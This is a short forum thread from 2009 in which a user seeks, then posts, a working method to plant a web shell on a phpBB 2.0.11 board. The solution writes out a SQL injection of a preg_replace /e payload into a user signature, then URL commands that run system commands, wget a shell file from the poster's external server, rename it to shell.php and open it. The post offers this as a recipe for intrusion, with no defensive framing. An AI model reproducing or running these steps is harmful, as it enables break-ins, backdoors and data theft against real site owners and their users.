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Uploading Shell to phpBB 2.0.11.
PostPosted: Tue Dec 15, 2009 5:26 pm Reply with quote
munglor
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I have access to the Administration Panel and am using the

Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='[shit here] WHERE userid=2


exploit, haven't been able to execute anything beyond loading the phpinfo() on the edit profile page. This is my first time doing this with phpBB2, I almost wish they'd upgraded to phpBB3 so I could just use the FAQ page one.

I have r57.txt uploaded on an external server already and have no idea what to do from there.

Guidance?

[I've already used the Search function here, just a lot of poor English from clueless users like myself and no real answers.]
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PostPosted: Tue Dec 15, 2009 11:38 pm Reply with quote
munglor
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Ah, nevermind. Got it myself. Very Happy

EDIT - In case anyone was curious and for future reference, I ended up using system instead of passthru and just went with a simple cmd implementation on the profile page.

Code:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:system($_GET[cmd])' WHERE user_id=2;


Then in the URL line I used the following cmds:

Code:
blahblah.net/profile.php?mode=editprofile&cmd=ls -lia


to show the directory.
Code:

blahblah.net/profile.php?mode=editprofile&cmd=wget http://myhosting.com/myshell.txt

to pull the file to the server.

Code:
blahblah.net/profile.php?mode=editprofile&cmd=mv myshell.txt shell.php


to rename the file as a .php script.
Code:

blahblah.net/profile.php?mode=editprofile&cmd=ls -lia


to verify that the file "shell.php" was indeed on the server.

Code:
blahblah.net/shell.php


to access the server through my uploaded shell. Smile
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